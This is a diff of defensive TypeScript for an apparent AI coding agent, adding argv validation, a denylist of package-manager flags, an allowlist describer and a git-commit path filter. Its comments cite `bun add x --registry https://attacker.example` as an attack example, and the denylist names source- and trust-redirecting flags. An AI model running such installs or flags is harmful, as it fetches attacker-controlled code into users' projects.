// patterns it recognises (a dollar sign followed by a dollar sign, an
|
|
96
|
+
// ampersand, a backtick, or an apostrophe) inside new_string would be
|
|
97
|
+
// expanded instead of written -- see src/tools/edit-region.ts. The
|
|
98
|
+
// uniqueness checks above proved there is exactly one match, so
|
|
99
|
+
// `indexOf` is that match.
|
|
100
|
+
const matchIndex = source.indexOf(oldString);
|
|
101
|
+
const updated = replaceUniqueLiteral(source, oldString, newString, matchIndex);
|
|
102
|
+
await _editDeps.writeFile(target, updated, "utf8");
|
|
103
|
+
// The view is composed only after the write resolves: a write error
|
|
104
|
+
// returns the error, never a view. It is a bounded Read-compatible
|
|
105
|
+
// slice of the region that changed, so the model does not have to
|
|
106
|
+
// Read the file back to see where its edit landed.
|
|
107
|
+
const region = composeEditRegion({ updated, matchIndex, newStringLength: newString.length });
|
|
108
|
+
return { content: `edited ${target}\n${region}` };
|
|
109
|
+
}
|
|
110
|
+
catch (err) {
|
|
111
|
+
return { content: err instanceof Error ? err.message : String(err), isError: true };
|
|
112
|
+
}
|
|
113
|
+
},
|
|
114
|
+
};
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Renders a compiled Exec grant's raw patterns as prose, one sentence
|
|
3
|
+
* fragment reused everywhere an agent needs to know whether "argv" can
|
|
4
|
+
* actually serve a given request.
|
|
5
|
+
*
|
|
6
|
+
* #1937, first half: name the permitted argv forms instead of the bare "only
|
|
7
|
+
* some commands and forms are permitted", which the model guessed against 32
|
|
8
|
+
* times, denied every time, across three runs. `patterns` must be the ACTUAL
|
|
9
|
+
* compiled Exec grant for this project/stage, never the built-in constant, so
|
|
10
|
+
* an overridden grant is described honestly.
|
|
11
|
+
*
|
|
12
|
+
* run-2026-09-14T05-55-54-734Z, Shape B: the same text is also what makes a
|
|
13
|
+
* RunCommand subcommand denial honest about "argv" rather than recommending
|
|
14
|
+
* a branch the compiled grant will not actually honour (src/tools/policy.ts
|
|
15
|
+
* `verbBranch`) -- extracted here so both call sites render the identical
|
|
16
|
+
* grant the same way, instead of two texts that could drift apart.
|
|
17
|
+
*/
|
|
18
|
+
export declare function describeExecAllowlist(patterns: readonly string[]): string;
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Renders a compiled Exec grant's raw patterns as prose, one sentence
|
|
3
|
+
* fragment reused everywhere an agent needs to know whether "argv" can
|
|
4
|
+
* actually serve a given request.
|
|
5
|
+
*
|
|
6
|
+
* #1937, first half: name the permitted argv forms instead of the bare "only
|
|
7
|
+
* some commands and forms are permitted", which the model guessed against 32
|
|
8
|
+
* times, denied every time, across three runs. `patterns` must be the ACTUAL
|
|
9
|
+
* compiled Exec grant for this project/stage, never the built-in constant, so
|
|
10
|
+
* an overridden grant is described honestly.
|
|
11
|
+
*
|
|
12
|
+
* run-2026-09-14T05-55-54-734Z, Shape B: the same text is also what makes a
|
|
13
|
+
* RunCommand subcommand denial honest about "argv" rather than recommending
|
|
14
|
+
* a branch the compiled grant will not actually honour (src/tools/policy.ts
|
|
15
|
+
* `verbBranch`) -- extracted here so both call sites render the identical
|
|
16
|
+
* grant the same way, instead of two texts that could drift apart.
|
|
17
|
+
*/
|
|
18
|
+
export function describeExecAllowlist(patterns) {
|
|
19
|
+
if (patterns.includes("*"))
|
|
20
|
+
return "any command is permitted";
|
|
21
|
+
if (patterns.length === 0)
|
|
22
|
+
return "no forms are currently granted";
|
|
23
|
+
return `permitted forms: ${patterns.join(", ")}`;
|
|
24
|
+
}
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The two refusals that bracket the grant match for a model-authored argv.
|
|
3
|
+
*
|
|
4
|
+
* `validateArgv` runs FIRST, before any pattern matching, so a malformed
|
|
5
|
+
* token can never be admitted by a `*` in a grant — the allowlist matches
|
|
6
|
+
* argv shapes, and a shape check must reject garbage before a wildcard gets
|
|
7
|
+
* a chance to wave it through. `deniedFlag` runs AFTER the grant match,
|
|
8
|
+
* because a prefix grant (e.g. `bun add*`) gates the verb, not the payload:
|
|
9
|
+
* `bun add x --registry https://attacker.example` still satisfies `bun add*`
|
|
10
|
+
* while quietly changing where the installed code comes from. The verb gate
|
|
11
|
+
* cannot see that — only a payload-aware check after the match can.
|
|
12
|
+
*
|
|
13
|
+
* Do not reorder these two checks, and do not merge them into one pass:
|
|
14
|
+
* a later reader who "simplifies" this into a single sweep silently
|
|
15
|
+
* removes the guarantee that garbage never reaches the allowlist.
|
|
16
|
+
*/
|
|
17
|
+
export declare function validateArgv(argv: unknown): string | undefined;
|
|
18
|
+
/**
|
|
19
|
+
* Flags that redirect where code comes from, where it lands, or whether an
|
|
20
|
+
* untrusted source is accepted at all.
|
|
21
|
+
*
|
|
22
|
+
* Not a general "unsafe flag" list — it is specifically the set a verb gate
|
|
23
|
+
* cannot see. A prefix grant like `npm install*` approves the verb "install
|
|
24
|
+
* a package the model named"; it says nothing about `--registry`,
|
|
25
|
+
* `--index-url`/`--extra-index-url`, `-g`/`--global`, `--prefix`, or
|
|
26
|
+
* `--config`/`--userconfig`, each of which can point the installer at a
|
|
27
|
+
* different source or a different filesystem location entirely.
|
|
28
|
+
* `--extra-index-url` is included alongside `--index-url` because pip
|
|
29
|
+
* treats it identically for this purpose: it adds a second, attacker-chosen
|
|
30
|
+
* index that a dependency can resolve from, it does not merely replace one.
|
|
31
|
+
* `--trusted-host` (pip) and `--cert` (pip) sit in the same family from the
|
|
32
|
+
* trust side rather than the source side: they change whether a source is
|
|
33
|
+
* *accepted* — `--trusted-host` disables TLS/host verification for a given
|
|
34
|
+
* host, `--cert` swaps the CA bundle used to validate it. `--strict-ssl`
|
|
35
|
+
* and `--cafile` are the same trust-boundary controls in the npm/yarn/bun
|
|
36
|
+
* family; `--ca` is npm's inline-certificate sibling of `--cafile` (a CA
|
|
37
|
+
* cert passed as a string instead of a file path), so it is included for
|
|
38
|
+
* the same reason. `--proxy` and `--https-proxy` belong to the source
|
|
39
|
+
* category, not the trust category: they change the transport endpoint
|
|
40
|
+
* every registry fetch travels through, which is the same outcome as
|
|
41
|
+
* `--registry` reached by a different mechanism — an attacker-controlled
|
|
42
|
+
* proxy MITMs the package fetch whether or not the registry URL itself was
|
|
43
|
+
* rewritten. Blocking `--registry` while permitting `--proxy` would close
|
|
44
|
+
* the front door and leave the side door open. `--noproxy` is included for
|
|
45
|
+
* the mirror-image reason: it routes traffic around a proxy an
|
|
46
|
+
* organization may be relying on as an egress control. `--unsafe-perm` is
|
|
47
|
+
* here for the same reason from the other direction: it removes a safety
|
|
48
|
+
* check on what an installed package's scripts are allowed to do. These
|
|
49
|
+
* are enumerated, not pattern-matched, because the point is precisely that
|
|
50
|
+
* no verb pattern can be trusted to imply their absence.
|
|
51
|
+
*
|
|
52
|
+
* `--client-cert` is deliberately NOT in this list: it presents a
|
|
53
|
+
* credential to a host, it does not change which host is contacted or
|
|
54
|
+
* whether an untrusted host is accepted. That is a different category —
|
|
55
|
+
* widening this list past "changes where code comes from, or whether an
|
|
56
|
+
* untrusted source is accepted" makes the criterion useless.
|
|
57
|
+
*/
|
|
58
|
+
export declare const DENIED_FLAGS: readonly string[];
|
|
59
|
+
/**
|
|
60
|
+
* Normalizes "--flag=value" to "--flag" so a denylist check does not depend
|
|
61
|
+
* on whether the model wrote the value as a separate token, and lowercases
|
|
62
|
+
* it so a differently-cased spelling (e.g. `--Registry`) can't slip past a
|
|
63
|
+
* case-sensitive list membership check. Shared with `src/tools/package-managers-table.ts`,
|
|
64
|
+
* which screens for a different flag family (workspace-scoping and
|
|
65
|
+
* scripts-control flags) using the same normalization — reuse this rather
|
|
66
|
+
* than writing a second, subtly different matcher.
|
|
67
|
+
*/
|
|
68
|
+
export declare function normalizeFlagToken(element: string): string;
|
|
69
|
+
export declare function deniedFlag(argv: readonly string[]): string | undefined;
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The two refusals that bracket the grant match for a model-authored argv.
|
|
3
|
+
*
|
|
4
|
+
* `validateArgv` runs FIRST, before any pattern matching, so a malformed
|
|
5
|
+
* token can never be admitted by a `*` in a grant — the allowlist matches
|
|
6
|
+
* argv shapes, and a shape check must reject garbage before a wildcard gets
|
|
7
|
+
* a chance to wave it through. `deniedFlag` runs AFTER the grant match,
|
|
8
|
+
* because a prefix grant (e.g. `bun add*`) gates the verb, not the payload:
|
|
9
|
+
* `bun add x --registry https://attacker.example` still satisfies `bun add*`
|
|
10
|
+
* while quietly changing where the installed code comes from. The verb gate
|
|
11
|
+
* cannot see that — only a payload-aware check after the match can.
|
|
12
|
+
*
|
|
13
|
+
* Do not reorder these two checks, and do not merge them into one pass:
|
|
14
|
+
* a later reader who "simplifies" this into a single sweep silently
|
|
15
|
+
* removes the guarantee that garbage never reaches the allowlist.
|
|
16
|
+
*/
|
|
17
|
+
// Shell metacharacters that would let an argv element break out of "one
|
|
18
|
+
// literal argument" and be reinterpreted by a shell or a naive re-parse
|
|
19
|
+
// downstream — even though this path never invokes a shell itself, nothing
|
|
20
|
+
// downstream may assume these are absent. Quotes and a backslash are
|
|
21
|
+
// included for the same defense-in-depth reason as the rest of this class:
|
|
22
|
+
// they are the escaping/quoting primitives a shell or re-parser would use
|
|
23
|
+
// to reinterpret the token.
|
|
24
|
+
//
|
|
25
|
+
// Deliberately EXCLUDED: glob and history characters (`* ? [ ] ! #`).
|
|
26
|
+
// `[` and `]` in particular are not a shell-injection vector on their own —
|
|
27
|
+
// blocking them would reject `pkg[extra]`, a legitimate and common Python
|
|
28
|
+
// install specifier (e.g. `uv add "httpx[http2]"`), turning a correct
|
|
29
|
+
// install into a mysterious refusal. Do not "complete the set" by adding
|
|
30
|
+
// these back without re-solving that regression.
|
|
31
|
+
const METACHARACTERS = /[;&|$`()<>\n\r'"\\]/;
|
|
32
|
+
export function validateArgv(argv) {
|
|
33
|
+
if (!Array.isArray(argv))
|
|
34
|
+
return "argv must be an array of strings";
|
|
35
|
+
if (argv.length === 0)
|
|
36
|
+
return "argv must not be empty";
|
|
37
|
+
for (const element of argv) {
|
|
38
|
+
if (typeof element !== "string")
|
|
39
|
+
return "every argv element must be a string";
|
|
40
|
+
if (element.length === 0)
|
|
41
|
+
return "argv elements must not be empty";
|
|
42
|
+
if (METACHARACTERS.test(element))
|
|
43
|
+
return `argv element contains a shell metacharacter: ${element}`;
|
|
44
|
+
// A leading "~" depends on shell expansion this path never performs, so
|
|
45
|
+
// it would silently resolve to nothing (or to the wrong home directory)
|
|
46
|
+
// rather than to what the model intended.
|
|
47
|
+
if (element.startsWith("~"))
|
|
48
|
+
return `argv element must not start with "~": ${element}`;
|
|
49
|
+
}
|
|
50
|
+
// argv[0] is the binary. It must resolve through PATH, not through a
|
|
51
|
+
// relative or absolute path — a path lets the model point execution at an
|
|
52
|
+
// arbitrary file it just wrote, which is exactly what the allowlist of
|
|
53
|
+
// known verbs (bun, npm, pip, ...) exists to prevent. This check runs on
|
|
54
|
+
// argv[0] like every other element above, not only on the arguments that
|
|
55
|
+
// follow it — a binary-only exemption would leave a hole an allowlist
|
|
56
|
+
// grant could never close.
|
|
57
|
+
const binary = argv[0];
|
|
58
|
+
if (binary.includes("/") || binary.includes("\\")) {
|
|
59
|
+
return `the command must resolve through PATH, not a path: ${binary}`;
|
|
60
|
+
}
|
|
61
|
+
return undefined;
|
|
62
|
+
}
|
|
63
|
+
/**
|
|
64
|
+
* Flags that redirect where code comes from, where it lands, or whether an
|
|
65
|
+
* untrusted source is accepted at all.
|
|
66
|
+
*
|
|
67
|
+
* Not a general "unsafe flag" list — it is specifically the set a verb gate
|
|
68
|
+
* cannot see. A prefix grant like `npm install*` approves the verb "install
|
|
69
|
+
* a package the model named"; it says nothing about `--registry`,
|
|
70
|
+
* `--index-url`/`--extra-index-url`, `-g`/`--global`, `--prefix`, or
|
|
71
|
+
* `--config`/`--userconfig`, each of which can point the installer at a
|
|
72
|
+
* different source or a different filesystem location entirely.
|
|
73
|
+
* `--extra-index-url` is included alongside `--index-url` because pip
|
|
74
|
+
* treats it identically for this purpose: it adds a second, attacker-chosen
|
|
75
|
+
* index that a dependency can resolve from, it does not merely replace one.
|
|
76
|
+
* `--trusted-host` (pip) and `--cert` (pip) sit in the same family from the
|
|
77
|
+
* trust side rather than the source side: they change whether a source is
|
|
78
|
+
* *accepted* — `--trusted-host` disables TLS/host verification for a given
|
|
79
|
+
* host, `--cert` swaps the CA bundle used to validate it. `--strict-ssl`
|
|
80
|
+
* and `--cafile` are the same trust-boundary controls in the npm/yarn/bun
|
|
81
|
+
* family; `--ca` is npm's inline-certificate sibling of `--cafile` (a CA
|
|
82
|
+
* cert passed as a string instead of a file path), so it is included for
|
|
83
|
+
* the same reason. `--proxy` and `--https-proxy` belong to the source
|
|
84
|
+
* category, not the trust category: they change the transport endpoint
|
|
85
|
+
* every registry fetch travels through, which is the same outcome as
|
|
86
|
+
* `--registry` reached by a different mechanism — an attacker-controlled
|
|
87
|
+
* proxy MITMs the package fetch whether or not the registry URL itself was
|
|
88
|
+
* rewritten. Blocking `--registry` while permitting `--proxy` would close
|
|
89
|
+
* the front door and leave the side door open. `--noproxy` is included for
|
|
90
|
+
* the mirror-image reason: it routes traffic around a proxy an
|
|
91
|
+
* organization may be relying on as an egress control. `--unsafe-perm` is
|
|
92
|
+
* here for the same reason from the other direction: it removes a safety
|
|
93
|
+
* check on what an installed package's scripts are allowed to do. These
|
|
94
|
+
* are enumerated, not pattern-matched, because the point is precisely that
|
|
95
|
+
* no verb pattern can be trusted to imply their absence.
|
|
96
|
+
*
|
|
97
|
+
* `--client-cert` is deliberately NOT in this list: it presents a
|
|
98
|
+
* credential to a host, it does not change which host is contacted or
|
|
99
|
+
* whether an untrusted host is accepted. That is a different category —
|
|
100
|
+
* widening this list past "changes where code comes from, or whether an
|
|
101
|
+
* untrusted source is accepted" makes the criterion useless.
|
|
102
|
+
*/
|
|
103
|
+
export const DENIED_FLAGS = [
|
|
104
|
+
"--registry",
|
|
105
|
+
"--index-url",
|
|
106
|
+
"--extra-index-url",
|
|
107
|
+
"--index",
|
|
108
|
+
"-i",
|
|
109
|
+
"--trusted-host",
|
|
110
|
+
"--cert",
|
|
111
|
+
"--strict-ssl",
|
|
112
|
+
"--cafile",
|
|
113
|
+
"--ca",
|
|
114
|
+
"--proxy",
|
|
115
|
+
"--https-proxy",
|
|
116
|
+
"--noproxy",
|
|
117
|
+
"--config",
|
|
118
|
+
"--userconfig",
|
|
119
|
+
"--global",
|
|
120
|
+
"-g",
|
|
121
|
+
"--prefix",
|
|
122
|
+
"--unsafe-perm",
|
|
123
|
+
];
|
|
124
|
+
/**
|
|
125
|
+
* Normalizes "--flag=value" to "--flag" so a denylist check does not depend
|
|
126
|
+
* on whether the model wrote the value as a separate token, and lowercases
|
|
127
|
+
* it so a differently-cased spelling (e.g. `--Registry`) can't slip past a
|
|
128
|
+
* case-sensitive list membership check. Shared with `src/tools/package-managers-table.ts`,
|
|
129
|
+
* which screens for a different flag family (workspace-scoping and
|
|
130
|
+
* scripts-control flags) using the same normalization — reuse this rather
|
|
131
|
+
* than writing a second, subtly different matcher.
|
|
132
|
+
*/
|
|
133
|
+
export function normalizeFlagToken(element) {
|
|
134
|
+
const raw = element.includes("=") ? element.split("=")[0] : element;
|
|
135
|
+
return raw.toLowerCase();
|
|
136
|
+
}
|
|
137
|
+
export function deniedFlag(argv) {
|
|
138
|
+
for (const element of argv) {
|
|
139
|
+
const name = normalizeFlagToken(element);
|
|
140
|
+
for (const denied of DENIED_FLAGS) {
|
|
141
|
+
if (name === denied)
|
|
142
|
+
return denied;
|
|
143
|
+
// Short options conventionally accept their value in the same token
|
|
144
|
+
// (`pip -t/tmp/out`, `pip -ihttps://index`). Exact matching alone lets
|
|
145
|
+
// those forms bypass destination/source controls.
|
|
146
|
+
if (denied.length === 2 && name.startsWith(denied) && name.length > denied.length)
|
|
147
|
+
return denied;
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
return undefined;
|
|
151
|
+
}
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
import type { CodingTool } from "./registry.ts";
|
|
2
|
+
export declare function buildCommitArgvs(input: Record<string, unknown>): {
|
|
3
|
+
add: string[];
|
|
4
|
+
commit: string[];
|
|
5
|
+
} | {
|
|
6
|
+
error: string;
|
|
7
|
+
};
|
|
8
|
+
/** One unresolved path, and why `partitionNaxOwnedPaths` could not classify it. */
|
|
9
|
+
export interface UnknownPathResult {
|
|
10
|
+
path: string;
|
|
11
|
+
reason: string;
|
|
12
|
+
}
|
|
13
|
+
/**
|
|
14
|
+
* Split `paths` into ones GitCommit may stage and ones it must refuse, per the
|
|
15
|
+
* caller-supplied `ignorePatterns` (nax passes `NAX_GITIGNORE_ENTRIES` -- the
|
|
16
|
+
* same SSOT `nax init`, `WorktreeManager`, and
|
|
17
|
+
* `scripts/check-nax-artifacts-untracked.ts` all enforce).
|
|
18
|
+
*
|
|
19
|
+
* A real run staged its own `.nax/scratchpad/*.md` files through this exact
|
|
20
|
+
* tool (no filter existed at all): the ignore-file reconcile in
|
|
21
|
+
* `src/execution/lifecycle/gitignore-reconcile.ts` closes this for `git add -A`
|
|
22
|
+
* and human adds, but is per-clone -- a fresh clone or CI has no local
|
|
23
|
+
* `.git/info/exclude` yet, so this tool needs its own, independent check.
|
|
24
|
+
*
|
|
25
|
+
* The `ignorePatterns` are gitignore PATTERNS (`**\/.nax/scratchpad/`), not
|
|
26
|
+
* literal paths -- hand-rolled substring/glob matching has bitten this repo
|
|
27
|
+
* before (see the comment in `src/worktree/manager.ts` on `/foo/runs/` wrongly
|
|
28
|
+
* "containing" `runs/`). Delegate to `git check-ignore` itself, exactly as
|
|
29
|
+
* `scripts/check-nax-artifacts-untracked.ts` delegates to `git ls-files` --
|
|
30
|
+
* both feed `NAX_GITIGNORE_ENTRIES` to git via a temp exclude file rather than
|
|
31
|
+
* re-implementing pattern matching. `--no-index` is required: a path GitCommit
|
|
32
|
+
* is being asked to stage for the first time is not yet in the index, and
|
|
33
|
+
* `check-ignore` without it can decline to answer for such a path.
|
|
34
|
+
*
|
|
35
|
+
* THREE-STATE, fail-closed (code review, post-Fix-3): `git check-ignore`
|
|
36
|
+
* exits 0 (ignored), 1 (not ignored) or 128 (fatal -- e.g. path outside the
|
|
37
|
+
* repo, or not a git repo at all). `gitWithTimeout` additionally collapses a
|
|
38
|
+
* hung subprocess to `exitCode: 1` with `timedOut: true` -- so `exitCode ===
|
|
39
|
+
* 1` ALONE is not "not ignored", it is ALSO what a timeout looks like. Reading
|
|
40
|
+
* it as "not ignored" without checking `timedOut` first put a nax-owned path
|
|
41
|
+
* straight into `kept` on any error or timeout: fail-OPEN, silently, exactly
|
|
42
|
+
* the class of bug this tool exists to prevent -- and under exactly the
|
|
43
|
+
* contention (parallel worktrees stressing git) most likely to produce one.
|
|
44
|
+
* A path that cannot be classified goes to neither `kept` nor `skipped`; it
|
|
45
|
+
* is reported by the caller, loudly, as its own category.
|
|
46
|
+
*
|
|
47
|
+
* One `check-ignore` subprocess per path (not batched into one call): batching
|
|
48
|
+
* would collapse this exact three-state distinction, since git's exit code for
|
|
49
|
+
* a multi-path invocation reflects "at least one path matched", not a per-path
|
|
50
|
+
* verdict, and a single fatal path (exit 128) would poison every other path in
|
|
51
|
+
* the batch as unknown even when they are perfectly answerable individually.
|
|
52
|
+
* Fine for the batch sizes a single commit call names.
|
|
53
|
+
*/
|
|
54
|
+
export declare function partitionNaxOwnedPaths(root: string, paths: string[], ignorePatterns: readonly string[]): Promise<{
|
|
55
|
+
kept: string[];
|
|
56
|
+
skipped: string[];
|
|
57
|
+
unknown: UnknownPathResult[];
|
|
58
|
+
}>;
|
|
59
|
+
export declare const gitCommitTool: CodingTool;
|